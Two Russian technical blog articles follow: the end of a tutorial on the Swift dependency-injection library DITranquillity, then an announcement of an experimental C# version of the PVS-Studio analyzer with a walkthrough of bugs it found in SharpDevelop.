* Она должна четко описывать, что пошло не так
* Она должна заранее понимать, где есть ошибки, а не во время исполнения
* Она должна быть интегрирована с базовыми средствами (Storyboard)
* У нее должен быть краткий лаконичный синтаксис
* Она должна все делать быстро и качественно
* (Опционально) Она должна быть иерархичной
Именно этих принципов, я стараюсь придерживаться на протяжении развития библиотеки.
Возможности и преимущества библиотеки
=====================================
Для начала ссылка на репозиторий: [github.com/ivlevAstef/DITranquillity](https://github.com/ivlevAstef/DITranquillity)
Основное конкурентное преимущество, которое для меня является достаточно важным – библиотека говорит об ошибках при запуске. После запуска приложения и вызова нужной функции, будут сообщены все проблемы как существующие, так и потенциальные. Именно в этом и заключается смысла названия библиотеки «спокойствие» — по факту после запуска программы библиотека гарантирует, что все обязательные зависимости будут существовать и нет неразрешимых циклов. В тех местах, где есть неоднозначность, библиотека предупредит, что тут могут быть потенциальные проблемы.
Как по мне, звучит просто отлично. Никаких падений во время исполнения программы, если программист что-то забыл, то это сразу будет сообщено.
Для описания проблем используется лог функция, которую я настоятельно рекомендую использовать. У логгирования есть 4 уровня: error, warning, info, verbose. Первых три достаточно важны. Последний не так важен — он пишет все, что происходит – какой объект был зарегистрирован, какой объект начал внедряться, какой объект создался и т.п.
Но это не все, чем может похвастаться библиотека:
* Полная потоко-безопасность – любую операцию можно делать из любого потока и все будет работать. Большей части людей это не нужно, поэтому в плане потоко-безопасности проводилась работа по оптимизации скорости исполнения. А вот библиотека конкурент, несмотря на обещания падает, если начать одновременно регистрировать и получать объект
* Быстрая скорость исполнения. На реальном устройстве DITranquillity в два раза быстрее по сравнению с конкурентом. Правда на симуляторе скорость исполнения почти эквивалента. [Ссылка на тест](https://github.com/ivlevAstef/DITranquillity/tree/master/Samples/CompareSpeedSwinjectVSTranquillity)
* Маленький размер – библиотека весит меньше чем Swinject + SwinjectStoryboad + SwinjectAutoregistration, но по возможностям превосходит эту связку
* Краткая, лаконичная запись, хотя и требует привыкания
* Иерархичность. Для больших проектов, которые состоят из многих модулей, это очень большой плюс, так как библиотека способна находить нужные классы по расстоянию от для текущего модуля. То есть если у вас есть в каждом модуле своя реализация одного протокола, то в каждом модуле вы получите нужную реализацию, не прилагая никаких усилий
Демонстрация
============
И так приступим. Как и в прошлый раз будет рассматриваться проект: [SampleHabr](https://github.com/ivlevAstef/DITranquillity/tree/master/Samples/SampleHabr). Я специально не стал изменять пример – так можно сравнить, как все изменилось. И пример отображает многие особенности библиотеки.
На всякий случай, чтобы не возникло недопонимания, так как проект на показ то в нем используются многие возможности. Но никто не мешает использовать библиотеку упрощенным способом – скачал, создал контейнер, зарегистрировал пару классов, пользуешься контейнером.
Для начала нам надо создать framework (опционально):
```
public class AppFramework: DIFramework { // центральный фреймворк
public static func load(container: DIContainer) {
//позже сюда будем добавлять код
}
}
```
И при старте программы создать свой контейнер, с добавлением этого фреймворка:
```
let container = DIContainer() // создаем контейнер
container.append(framework: AppFramework.self)
// функция проверки валидности графа связей.
// на самом деле эту функцию я рекомендую включать в ifdef DEBUG так как она требует времени исполнения, а граф зависимостей от запуска к запуску не изменяется, при условии не изменения кода.
if !container.validate() {
fatalError()
}
```
### Storyboard
Далее нужно создать базовый экран. Обычно для этого используются Storyboard-ы, и в данном примере я буду использовать его, но никто не мешает использовать UIViewController-ы.
Начнем с того что нам надо зарегистрировать Storyboard. Для этого создадим «часть» (опционально — можно весь код написать в framework) c регистрацией в нем Storyboard:
```
import DITranquillity
class AppPart: DIPart {
static func load(container: DIContainer) {
container.registerStoryboard(name: "Main", bundle: nil)
.lifetime(.single) // время жизни - один на всю программу.
}
}
```
И добавим часть в AppFramework:
```
container.append(part: AppPart.self)
```
Как видим, у библиотеки есть удобный синтаксис для регистрации Storyboard, и я настоятельно рекомендую им пользоваться. В принципе можно написать эквивалентный код и без этого метода, но он будет более большой, и не сможет поддерживать StoryboardReferences. То есть на этот Storyboard не получится перейти из другого.
Теперь осталось дело за малым — надо создать Storyboard, и показать стартовый экран. Делается это в AppDelegate, после проверки контейнера:
```
window = UIWindow(frame: UIScreen.main.bounds)
/// создаем Storyboard
let storyboard: UIStoryboard = container.resolve(name: "Main")
window!.rootViewController = storyboard.instantiateInitialViewController()
window!.makeKeyAndVisible()
```
Создание Storyboard с помощью библиотеки не сильно сложнее обычного. В данном примере можно было упустить имя, так как у нас всего один Storyboard — библиотека догадалась бы, что вы имеете в виду именно его. Но в некоторых проектах Storyboard-ов много, поэтому не стоит лишний раз упускать имя.
### Presenter и ViewController
Переходим к самому экрану. Не будем нагружать проект сложными архитектурами, а применим обычный MVP. Более того я настолько ленив, что не буду для presenter-а создавать протокол. Протокол будет чуть позже для другого класса, тут важно показать, как зарегистрировать и связать Presenter и ViewController.
Для этого в AppPart надо добавить следующий код:
```
container.register(YourPresenter.init)
container.register(YourViewController.self)
.injection(\.presenter) // устанавливаем связь
```
Эти три строчки позволят нам зарегистрировать два класса, и установить между ними связь.
У любопытных может возникнуть вопрос — почему тот синтаксис, который у Swinject находится в отдельной библиотеке, сделан в проекте основным? Ответ кроется в целях — благодаря такому синтаксису, библиотека заранее хранит все связи, а не вычисляет их во время исполнения. Такой синтаксис открывает доступ ко многим возможностям, которые не доступны другим библиотекам.
Запускаем приложение, и все работает, все классы созданы.
### Данные
Отлично теперь надо добавить класс и протокол для получения данных с сервера:
```
public protocol Server {
func get(method: String) -> Data?
}
class ServerImpl: Server {
init(domain: String) {
...
}
func get(method: String) -> Data? {
...
}
}
```
И для красоты под сервер заведем отдельный DI класс ServerPart, в котором зарегистрируем его. Напомню, что это делать не обязательно и можно регистрировать на прямую в контейнер, но мы не ищем легких путей :)
```
import DITranquillity
class ServerPart: DIPart {
static func load(container: DIContainer) {
container.register{ ServerImpl(domain: "https://github.com/") }
.as(check: Server.self){$0}
.lifetime(.single)
}
}
```
В этом коде всё уже не так прозрачно как в предыдущих, и требует разъяснений. Во первых внутри функции регистр происходит создание класса с передачей параметра.
Во вторых есть функция `as` — она говорит, что класс будет доступен по еще одному типу — протоколу. Странный конец этой операции в виде `{$0}` являются частью названия `check:`. То есть данный код гарантирует, что ServerImpl является наследником Server. Но есть и другой синтаксис: `as(Server.self)` который сделает тоже самое, но без проверки. Чтобы посмотреть, что выведет компилятор в обоих случаях, можно убрать реализацию протокола.
Функций `as` может быть несколько — это будет означать, что тип доступен по любому из этих имен. Обращаю внимание, что это будет одна регистрация, а значит, если класс является синглетоном, то по любому указанному типу будет доступен один и тот же экземпляр.
В принципе, если вы хотите оградить себя от возможности создавать класс по типу реализации, или вы еще не успели привыкнуть к такому синтаксису, то можно написать:
```
container.register{ ServerImpl(domain: "https://github.com/") as Server }
```
Что будет некоторым эквивалентом, но без возможности указать несколько отдельных типов.
Теперь можно внедрить server в Presenter, для этого поправим Presenter чтобы он принимал Server:
```
class YourPresenter {
init(server: Server) {
...
}
}
```
Запускаем программу, и она падает на функции `validate` в AppDelegate, с сообщением, что тип `Server` не найден, но он требуется `YourPresenter`. В чем дело? Обращу внимание, что ошибка произошла в начале исполнения программы, а не пост фактум. А причина достаточно простая — забыли добавить `ServerPart` в `AppFramework`:
```
container.append(part: ServerPart.self)
```
Запускаем — все работает.
### Логгер
До этого было знакомство с возможностями, которые не сильно впечатляют и есть у многих. Теперь будет демонстрация того, что другие библиотеки на Swift не умеют.
Под логгер был создан отдельный [Проект](https://github.com/ivlevAstef/DITranquillity/tree/master/Samples/Logger/Logger).
Для начала поймем, что будет логгером. В учебных целях не будем делать навороченную систему, поэтому логгер это протокол с одним методом и несколькими реализациями:
```
public protocol Logger {
func log(_ msg: String)
}
class ConsoleLogger: Logger {
func log(_ msg: String) { ... }
}
class FileLogger: Logger {
init(file: String) { ... }
func log(_ msg: String) { ... }
}
class ServerLogger: Logger {
init(server: String) { ... }
func log(_ msg: String) { ... }
}
class MainLogger: Logger {
init(loggers: [Logger]) { ... }
func log(_ msg: String) { ... }
}
```
Итого, у нас есть:
* Публичный протокол
* 3 разных реализации логгера, каждая из которых пишет в разное место
* Один центральный логгер, который вызывает функцию логгирования для всех остальных
В проекте создан `LoggerFramework` и `LoggerPart`. Я не буду выписывать их код, а выпишу лишь внутренности `LoggerPart`:
```
container.register{ ConsoleLogger() }
.as(Logger.self)
.lifetime(.single)
container.register{ FileLogger(file: "file.log") }
.as(Logger.self)
.lifetime(.single)
container.register{ ServerLogger(server: "http://server.com/") }
.as(Logger.self)
.lifetime(.single)
container.register{ MainLogger(loggers: many($0)) }
.as(Logger.self)
.default()
.lifetime(.single)
```
Первых 3 регистрации мы уже видели, а последняя вызывает вопросы.
На вход передается параметр. Подобное уже демонстрировалось, когда создавался presenter, правда там была сокращенная запись — просто использовался метод `init`, но никто не мешает писать вот так:
```
container.register { YourPresenter(server: $0) }
```
Если бы параметров было несколько, то можно было бы использовать `$1`, `$2`, `$3`, и т.д. до 16.
Но этот параметр вызывает функцию `many`. И тут начинается самое интересное. В библиотеке есть два модификатора `many` и `tag`.**Скрытый текст**Есть третий модификатор `arg`, но он не безопасный Модификатор `many` говорит, что надо получить все объекты соответствующие нужному типу. В данном случае ожидается протокол Logger, поэтому будут найдены и созданы все классы, которые наследуются от этого протокола, с одним лишь исключением — сам себя, то есть рекурсивно. Он не создаст себя при инициализации, хотя может спокойно это сделать при внедрении через свойство.
Тег в свою очередь это отдельный любой тип, который надо указать как при использовании, так и при регистрации. То есть тэги это дополнительные критерии, если не хватает основных типов.
Подробней про это можно прочитать: [Модификаторы](https://github.com/ivlevAstef/DITranquillity/blob/master/Documentation/ru/modificators.md)
Наличие модификаторов, особенно `many`, выделяет библиотеку в лучшую сторону, по сравнению с другими. Например, можно реализовывать паттерн Observer на совершенно другом уровне. В свое время благодаря этим 4 буквам, в проекте с каждого Observer-а удалось удалить по 30-50 строчек кода, и решить проблему с вопросом — где и когда должны добавляться объекты в Observable. Понятное дело это не единственное применение, но весомое.
Ну и закончим представление возможностей, внедрением логгера в YourPresenter:
```
container.register(YourPresenter.init)
.injection { $0.logger = $1 }
```
Тут, для примера, написано немного по другому, чем раньше — это сделано для примера другого синтаксиса.
Обращу внимание, что свойство logger опционально:
```
internal var logger: Logger?
```
И это не проявляется в синтаксисе библиотеки. В отличие от первой версии, теперь все операции для обычного типа, опционала и принудительного опционала выглядят одинаково. При этом логика внутри отличается — если тип является опционалом, и его не зарегистрировано в контейнере, то программа не упадет, а продолжит исполнение.
Итоги
-----
Итоги похожи на прошлый раз, только синтаксис стал короче и функциональнее.
#### Что было рассмотрено:
* [Кратко регистрацию](https://github.com/ivlevAstef/DITranquillity/blob/master/Documentation/ru/registration.md)
* [Работа со Storyboard, но библиотека умеет работать и со StoryboardReferences](https://github.com/ivlevAstef/DITranquillity/blob/master/Documentation/ru/storyboard.md)
* [Регистрация через метод инициализации или свойство](https://github.com/ivlevAstef/DITranquillity/blob/master/Documentation/ru/injection.md)
* [Множественное внедрение](https://github.com/ivlevAstef/DITranquillity/blob/master/Documentation/ru/modificators.md)
* [Работа с фреймворками и частями](https://github.com/ivlevAstef/DITranquillity/blob/master/Documentation/ru/part_framework.md)
* [Немного валидацию](https://github.com/ivlevAstef/DITranquillity/blob/master/Documentation/ru/validation.md)
#### Что еще умеет библиотека:
* [5 времен жизни: single, perRun(.weak/.strong), perContainer(.weak/.strong), objectGraph, prototype](https://github.com/ivlevAstef/DITranquillity/blob/master/Documentation/ru/lifetime.md)
* [Теги указание имени](https://github.com/ivlevAstef/DITranquillity/blob/master/Documentation/ru/modificators.md)
* [Логирование](https://github.com/ivlevAstef/DITranquillity/blob/master/Documentation/ru/log.md)
* [Работа с циклическими зависимостями](https://github.com/ivlevAstef/DITranquillity/blob/master/Documentation/ru/injection.md#%D0%92%D0%BD%D0%B5%D0%B4%D1%80%D0%B5%D0%BD%D0%B8%D0%B5-%D1%86%D0%B8%D0%BA%D0%BB%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D1%85-%D0%B7%D0%B0%D0%B2%D0%B8%D1%81%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9-%D1%87%D0%B5%D1%80%D0%B5%D0%B7-%D1%81%D0%B2%D0%BE%D0%B9%D1%81%D1%82%D0%B2%D0%B0)
* [Внедряться во вьюшки](https://github.com/ivlevAstef/DITranquillity/blob/master/Documentation/ru/storyboard.md#%D0%92%D0%BD%D0%B5%D0%B4%D1%80%D0%B5%D0%BD%D0%B8%D0%B5-%D0%B2-subview-%D0%B8-%D1%8F%D1%87%D0%B5%D0%B9%D0%BA%D0%B8)
* [Отложенное внедрение](https://github.com/ivlevAstef/DITranquillity/blob/master/Documentation/ru/delayed_injection.md#%D0%9E%D1%82%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%BD%D0%BE%D0%B5-%D0%B2%D0%BD%D0%B5%D0%B4%D1%80%D0%B5%D0%BD%D0%B8%D0%B5)
* Внедрение аргументов, но функционал не документирован в силу его не безопастности
Планы
-----
В первую очередь планируется переход к проверке графа на стадии компиляции — то есть более тесная интеграция с компилятором. Существует предварительная реализация с помощью SourceKitten, но у такой реализации серьезные сложности с выводом типов, поэтому планируется переход на ast-dump — в swift5 он стал рабочим на больших проектах. Тут хочу сказать спасибо [Nekitosss](https://github.com/Nekitosss) за огромный вклад в этом направлении.
Во вторых хотелось бы интегрироваться с сервисами визуализации. Это будет слегка другой проект, но тесно связанный с библиотекой. В чем смысл? Сейчас библиотека хранит весь граф связей, то есть в теории все, что зарегистрировано в библиотеке можно показать в виде UML класс/компонент диаграммы. И как бы было не плохо иногда посмотреть эту диаграмму.
Этот функционал планируется в две части — первая часть позволит добавить API для получения всей информации, а вторая уже интеграция с различными сервисами.
Самой простой вариант — вывод графа связей в виде текста, но я не видел читабельных вариантов — если есть, то предлагайте варианты в комментариях.
WatchOS — я сам не пишу проекты под них. За свою жизнь писал только раз, и то мелкий. Но хотелось бы сделать тесную интеграцию, как и со Storyboard.
На этом все спасибо за внимание. Очень надеюсь на комментарии и ответы на опрос.
**О себе**Ивлев Александр Евгеньевич — senior/team lead в iOS команде. Работаю в коммерции 7 лет, под iOS 4.5 года – до этого был С++ разработчиком. Но общий стаж программирования более 15 лет – еще в школе познакомился с этим удивительным миром и так им увлекся, что был период, когда променял игры~~, еду, туалет, сон~~ на написания кода. По одной из моих статей можно догадаться, что я бывший олимпиадник – соответственно написать грамотную работу с графами мне не составляло сложности. Специальность – Информационно-измерительные системы, и в свое время я был помешан на многопоточности и параллелизме – да я пишу код, в котором делаю допущения и баги на подобные темы, но я осознаю проблемные места и прекрасно понимаю, где можно пренебречь мьютексом, а где не стоит. | https://habr.com/ru/post/457188/ | null | ru | null |
# Экспериментальная версия PVS-Studio, поддерживающая C#
У нас появилась экспериментальная версия анализатора PVS-Studio, который умеет анализировать C#-проекты и который можно показать миру. Это не Release, и даже не Beta. Это просто текущая сборка PVS-Studio. Мы хотим как можно раньше начать получать отзывы от наших пользователей или потенциальных пользователей касательно поддержки C#. Поэтому предлагаем энтузиастам попробовать новую версию PVS-Studio на своих C#-проектах и рассказать нам о результатах, недостатках и высказать свои пожелания. Ах да, и конечно в статье будут описаны результаты проверки очередного проекта — SharpDevelop.
PVS-Studio
----------
Сейчас одним из важных вопросов является: «Зачем делать очередной инструмент анализа кода для C#?».
Попробуем ответить как потенциальным пользователям, так и самим себе, чтобы ясно понимать куда и зачем мы движемся.
Мы успешно создали и продолжаем развивать анализатор PVS-Studio для языка C/C++. В этом анализаторе реализовано много интересных и уникальных идей по выявлению разнообразных типов ошибок. Со временем стало понятно, что многие из реализованных диагностик никак не связаны с конкретным языком программирования. Не важно, какой язык вы используете. Всегда будут опечатки, ошибки из-за невнимательности или неудачного Copy-Paste.
И тогда мы решили попробовать применить свой опыт к другому языку программирования, к C#. Насколько это будет успешным начинанием, покажет время. Сами мы считаем, что постепенно сможем создать очень интересный инструмент, пользу от которого может получить большое количество C#-разработчиков.
Сейчас наша задача — начать как можно раньше получать отзывы от наших потенциальных пользователей. Полноценная версия анализатора PVS-Studio ещё не готова. Сейчас в ней мало диагностик (на момент написания статьи их было 36). Но эту версию можно установить и попробовать. И мы будем благодарны всем, кто это сделает. Нам важно убедиться, что мы вообще движемся в верном направлении и что анализатор в целом работоспособен. А у уж добавлять новые и новые диагностики мы будем очень быстро.
Итак, всем заинтересованным предлагаю скачать текущий вариант экспериментальной версии PVS-Studio по этой ссылке: <http://files.viva64.com/beta/PVS-Studio_setup.exe>.
**Примечание.** Со временем приведенная выше ссылка станет недействительной. Поэтому, если вы читаете эту статью по пришествию месяца или более с момента публикации, то предлагаем вам установить текущую версию дистрибутива: <http://www.viva64.com/ru/pvs-studio-download/>
Если читатель ещё не разу не пробовал PVS-Studio, то предлагаю ознакомиться со статьёй "[PVS-Studio для Visual C++](http://www.viva64.com/ru/b/0305/)". Как вы видите, она ориентирована на C++, но на самом деле никакой разницы нет. С точки зрения интерфейса вообще почти нет никакой разницы, работаете вы с C++ или с C# проектами.
Чтобы отправить свои отзывы и пожелания, вы можете воспользоваться [страницей обратной связи](http://www.viva64.com/ru/about-feedback/).
Проверка проекта SharpDevelop
-----------------------------
Для программистов обыкновенная реклама не работает. Однако я знаю, как привлекать внимание этих серьезных и очень занятых творцов. Мы проверяем различные открытые проекты и пишем про это [статьи](http://www.viva64.com/ru/a/0084/). Нет лучшей рекламы, чем показать, что умеет наш инструмент.
Не вижу смысла изобретать велосипед. Теперь тем же методом я буду очаровывать C# программистов. И вот перед вами очередная статья про проверку открытого проекта SharpDevelop.
[SharpDevelop](http://www.sharpdevelop.com/OpenSource/SD/) — свободная среда разработки для C#, Visual Basic .NET, Boo, IronPython, IronRuby, F#, C++. Обычно используется как альтернатива Visual Studio .NET. Существует также форк на Mono/GTK+ — MonoDevelop.
Для нас важно, что проект написан полностью на C#. А значит мы можем его проверить экспериментальной версией PVS-Studio. В проекте 8522 файлов с расширением «cs», суммарный размер которых равен 45 мегабайт.
Наиболее подозрительные фрагменты кода
--------------------------------------
**Фрагмент N1**
```
public override string ToString()
{
return String.Format("Thread Name = {1} Suspended = {2}",
ID, Name, Suspended);
}
```
Предупреждение PVS-Studio: V3025 Incorrect format. A different number of actual arguments is expected while calling 'Format' function. Expected: 2. Present: 3. Thread.cs 235
Переменная ID никак не используется. Возможно никакой настоящей ошибки здесь нет. Однако это место явно стоит проверить. Возможно здесь планировалось сформировать совсем иную строку.
**Фрагмент N2**
```
public override string ToString ()
{
return
String.Format ("[Line {0}:{1,2}-{3,4}:{5}]",
File, Row, Column, EndRow, EndColumn, Offset);
}
```
Предупреждение PVS-Studio: V3025 Incorrect format. A different number of actual arguments is expected while calling 'Format' function. Expected: 4. Present: 6. MonoSymbolTable.cs 235
Более интересный случай. Что именно хотел сделать программист, мне непонятно. Возможно, он хотел сформировать сообщение вот такого вида:
[Line file.cs:10,20-30,40:7]
Но видимо он пропустил некоторые фигурные скобки. Поэтому получается, что ",2" и ",4" задаёт выравнивание полей, а вовсе не выводят значения переменных EndRow и EndColumn.
Рискну предположить, что правильной будет следующая строка форматирования:
```
String.Format ("[Line {0}:{1},{2}-{3},{4}:{5}]",
File, Row, Column, EndRow, EndColumn, Offset);
```
**Фрагмент N3**
```
static MemberCore GetLaterDefinedMember(MemberSpec a, MemberSpec b)
{
var mc_a = a.MemberDefinition as MemberCore;
var mc_b = b.MemberDefinition as MemberCore;
....
if (mc_a.Location.File != mc_a.Location.File)
return mc_b;
return mc_b.Location.Row > mc_a.Location.Row ? mc_b : mc_a;
}
```
Предупреждение PVS-Studio: V3001 There are identical sub-expressions 'mc\_a.Location.File' to the left and to the right of the '!=' operator. membercache.cs 1306
Здесь мы имеем дело с опечаткой. Я думаю, правильным вариантом будет следующее сравнение:
```
if (mc_a.Location.File != mc_b.Location.File)
```
**Фрагмент N4**
```
public WhitespaceNode(string whiteSpaceText,
TextLocation startLocation)
{
this.WhiteSpaceText = WhiteSpaceText;
this.startLocation = startLocation;
}
```
Предупреждение PVS-Studio: V3005 The 'this.WhiteSpaceText' variable is assigned to itself. WhitespaceNode.cs 65
Красивая ошибка. Здесь статический анализатор показал свою главную суть. Он внимателен и в отличии от человека не устаёт. Поэтому он заметил опечатку. А вы её видите? Согласитесь, найти ошибку не просто.
Итак, опечатка в одной букве. Надо было написать "=whiteSpaceText". А написано "=WhiteSpaceText". В результате значение 'WhiteSpaceText' в классе остаётся неизменным.
Вообще, это хороший пример того, как не надо именовать переменные. Плохая идея делать различие в именах только одной строчной/прописной буквой. Однако рассуждения о стиле кодирования выходит за тему статьи. Тем более это попахивает священной дискуссионной войной.
**Фрагмент N5**
```
new public bool Enabled {
get { return base.Enabled; }
set {
if (this.InvokeRequired) {
base.Enabled = this.VScrollBar.Enabled =
this.hexView.Enabled =this.textView.Enabled =
this.side.Enabled = this.header.Enabled = value;
} else {
base.Enabled = this.VScrollBar.Enabled =
this.hexView.Enabled = this.textView.Enabled =
this.side.Enabled = this.header.Enabled = value;
}
}
}
```
Предупреждение PVS-Studio: V3004 The 'then' statement is equivalent to the 'else' statement. Editor.cs 225
Очень подозрительно, что независимо от значения 'this.InvokeRequired' будут выполнены одни и те-же действия. У меня сильные подозрения, что строка «base.Enabled = .....» была скопирована. А потом в ней что-то забыли изменить.
**Фрагмент N6, N7, N8, N9**
```
public override void Run()
{
....
ISolutionFolderNode solutionFolderNode =
node as ISolutionFolderNode;
if (node != null)
{
ISolutionFolder newSolutionFolder =
solutionFolderNode.Folder.CreateFolder(....);
solutionFolderNode.Solution.Save();
....
}
```
Предупреждение PVS-Studio: V3019 Possibly an incorrect variable is compared to null after type conversion using 'as' keyword. Check variables 'node', 'solutionFolderNode'. SolutionNodeCommands.cs 127
Хотели выполнить некоторые действия, если 'node' наследуется от интерфейса 'ISolutionFolderNode'. Но проверили не ту переменную. Правильный вариант:
```
ISolutionFolderNode solutionFolderNode =
node as ISolutionFolderNode;
if (solutionFolderNode != null)
{
```
Кстати, это достаточно распространённый паттерн ошибки в C#-программах. Например, в проекте SharpDevelop встретилось ещё 3 таких ошибки:* V3019 Possibly an incorrect variable is compared to null after type conversion using 'as' keyword. Check variables 'geometry', 'g'. PathHandlerExtension.cs 578
* V3019 Possibly an incorrect variable is compared to null after type conversion using 'as' keyword. Check variables 'oldTransform', 'tg'. ModelTools.cs 420
* V3019 Possibly an incorrect variable is compared to null after type conversion using 'as' keyword. Check variables 'node', 'solutionFolderNode'. SolutionNodeCommands.cs 104
**Фрагмент N10**
```
public override void VisitInvocationExpression(....)
{
....
foundInvocations = (idExpression.Identifier == _varName);
foundInvocations = true;
....
}
```
Предупреждение PVS-Studio: V3008 The 'foundInvocations' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 211, 209. RedundantAssignmentIssue.cs 211
Очень подозрительное повторное присваивание. Возможно, второе присваивание написали в процессе отладки кода, а потом забыли про него.
**Ошибка N11**
```
public static Snippet CreateAvalonEditSnippet(....)
{
....
int pos = 0;
foreach (Match m in pattern.Matches(snippetText)) {
if (pos < m.Index) {
snippet.Elements.Add(....);
pos = m.Index;
}
snippet.Elements.Add(....);
pos = m.Index + m.Length;
}
....
}
```
Предупреждение PVS-Studio: V3008 The 'pos' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 151, 148. CodeSnippet.cs 151
Ещё одно подозрительное повторное присваивание. Здесь или ошибка, или присваивание «pos = m.Index;» является лишним.
**Фрагмент N12**
```
....
public string Text { get; set; }
....
protected override void OnKeyUp(KeyEventArgs e)
{
....
editor.Text.Insert(editor.CaretIndex, Environment.NewLine);
....
}
```
Предупреждение PVS-Studio: V3010 The return value of function 'Insert' is required to be utilized. InPlaceEditor.cs 166
Строки в языке C# являются неизменяемыми. Поэтому, если мы что-то делаем со строкой, результат нужно где-то сохранить. Однако про это легко забыть, как например это случилось здесь. Разработчик решил, что вызывая метод Insert() он что-то добавит к строке. Но это не так. Правильный вариант кода:
```
editor.Text =
editor.Text.Insert(editor.CaretIndex, Environment.NewLine);
```
**Фрагмент N13, N14**
```
public IEnumerable
GetMappingForTable(SSDL.EntityType.EntityType table)
{
var value = GetSpecificMappingForTable(table);
var baseMapping = BaseMapping;
if (baseMapping != null)
value.Union(baseMapping.GetMappingForTable(table));
return value;
}
```
Предупреждение PVS-Studio: V3010 The return value of function 'Union' is required to be utilized. MappingBase.cs 274
Вообще, у меня складывается предчувствие, что в C# проектах я буду встречать достаточно много ошибок, связанных с тем, что программист ожидает изменения объекта, а этого не происходит.
Метод-расширение 'Union', определённый для коллекций, реализующих интерфейс IEnumerable, позволяет получить пересечение двух множество. Однако, контейнер 'value' при этом не изменяется. Правильный вариант:
```
value = value.Union(baseMapping.GetMappingForTable(table));
```
Ещё одну такую ситуацию можно встретить здесь: V3010 The return value of function 'OrderBy' is required to be utilized. CodeCoverageMethodElement.cs 124
**Фрагмент N15**
Анализатор PVS-Studio пытается выявить ситуации, где программист мог что-то забыть сделать в switch(). Логика принятия решения, предупреждать или нет, достаточно сложная. Иногда получаются ложные срабатывания, иногда находятся явные ошибки. Рассмотрим одно из таких срабатываний.
Итак, в коде имеет место вот такое перечисление:
```
public enum TargetArchitecture {
I386,
AMD64,
IA64,
ARMv7,
}
```
Местами используются все варианты этого перечисления:
```
TargetArchitecture ReadArchitecture ()
{
var machine = ReadUInt16 ();
switch (machine) {
case 0x014c:
return TargetArchitecture.I386;
case 0x8664:
return TargetArchitecture.AMD64;
case 0x0200:
return TargetArchitecture.IA64;
case 0x01c4:
return TargetArchitecture.ARMv7;
}
throw new NotSupportedException ();
}
```
Однако есть и подозрительные места. Например, анализатор обратил моё внимание на следующий код:
```
ushort GetMachine ()
{
switch (module.Architecture) {
case TargetArchitecture.I386:
return 0x014c;
case TargetArchitecture.AMD64:
return 0x8664;
case TargetArchitecture.IA64:
return 0x0200;
}
throw new NotSupportedException ();
}
```
Предупреждение PVS-Studio: V3002 The switch statement does not cover all values of the 'TargetArchitecture' enum: ARMv7. ImageWriter.cs 209
Как видите, не рассмотрен случай, если архитектурой является ARMv7. Я не знаю, ошибка это или нет. Но мне кажется, что это именно ошибка. Имя ARMv7 находится в конце перечисления, а значит добавлялось в последнюю очередь. В результате программист мог забыть поправить функцию GetMachine() и учесть эту архитектуру.
**Фрагмент N15**
```
void DetermineCurrentKind()
{
.....
else if (Brush is LinearGradientBrush) {
linearGradientBrush = Brush as LinearGradientBrush;
radialGradientBrush.GradientStops =
linearGradientBrush.GradientStops;
CurrentKind = BrushEditorKind.Linear;
}
else if (Brush is RadialGradientBrush) {
radialGradientBrush = Brush as RadialGradientBrush;
linearGradientBrush.GradientStops =
linearGradientBrush.GradientStops;
CurrentKind = BrushEditorKind.Radial;
}
}
```
Предупреждение PVS-Studio: V3005 The 'linearGradientBrush.GradientStops' variable is assigned to itself. BrushEditor.cs 120
Достаточно тяжелый фрагмент кода для чтения. И видимо поэтому в нем допущена ошибка. Скорее всего код писался методом Copy-Paste и в одно месте был неправильно изменён.
По все видимости вместо:
```
linearGradientBrush.GradientStops =
linearGradientBrush.GradientStops;
```
Должно было быть написано:
```
linearGradientBrush.GradientStops =
radialGradientBrush.GradientStops;
```
Запахи
------
Многие фрагменты, на которые указывает анализатор, вряд ли являются настоящими ошибками. С другой стороны, сообщения, выданные на такой код, назвать ложными срабатываниями тоже нельзя. Обычно про такой код говорят, что он пахнет.
Выше я рассмотрел много кода, который по всей видимости содержит ошибки. Теперь приведу несколько примеров запахов. Все ситуации я рассматривать не буду, это не интересно. Ограничусь 3 примерами. С остальными запахами разработчики могут ознакомиться самостоятельно, проверив проект SharpDevelop.
**Фрагмент кода с запахом N1**
```
protected override bool CanExecuteCommand(ICommand command)
{
....
}
else if (command == DockableContentCommands.ShowAsDocument)
{
if (State == DockableContentState.Document)
{
return false;
}
}
....
else if (command == DockableContentCommands.ShowAsDocument)
{
if (State == DockableContentState.Document)
{
return false;
}
}
....
}
```
Предупреждение PVS-Studio: V3003 The use of 'if (A) {...} else if (A) {...}' pattern was detected. There is a probability of logical error presence. Check lines: 773, 798. DockableContent.cs 773
Как видите, программа содержит два идентичных блока. Условие нижнего блока 'if' никогда не выполнится. Но на мой взгляд это не ошибка. Мне кажется, что просто случайно продублировали блок, и он является лишним. Тем не менее это место, которое стоит посмотреть и исправить.
**Фрагмент кода с запахом N2**
```
void PropertyExpandButton_Click(object sender, RoutedEventArgs e)
{
....
ContentPropertyNode clickedNode =
clickedButton.DataContext as ContentPropertyNode;
clickedNode = clickedButton.DataContext as ContentPropertyNode;
if (clickedNode == null)
....
}
```
Предупреждение PVS-Studio: V3008 The 'clickedNode' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 105, 104. PositionedGraphNodeControl.xaml.cs 105
Код избыточный и его можно упростить до:
```
ContentPropertyNode clickedNode =
clickedButton.DataContext as ContentPropertyNode;
if (clickedNode == null)
```
**Фрагмент кода с запахом N3**
```
IEnumerable
CreateConstructorCompletionData(IType hintType)
{
....
if (!(hintType.Kind == TypeKind.Interface &&
hintType.Kind != TypeKind.Array)) {
....
}
```
Предупреждение PVS-Studio: V3023 Consider inspecting this expression. The expression is excessive or contains a misprint. CSharpCompletionEngine.cs 2392
Избыточный код. Выражение можно упростить:
```
if (hintType.Kind != TypeKind.Interface) {
```
Я могу продолжать, но, пожалуй, хватит. Все остальные «запахи» достаточно однообразны и похожи на уже перечисленные.
Заключение
----------
Ну что, как видите, сам по себе язык C# не защищает от бестолковых ошибок. Потому я с чистой совестью могу привести здесь эту картинку.
Да здравствует единорог, который теперь научился находить ошибки и в C# программах!
А если серьезно, то:* При программировании мы все допускаем не только сложные, но и простые ошибки. Суммарно на поиск простых ошибок тратится много времени. А иногда очень [много](http://www.viva64.com/ru/b/0221/).
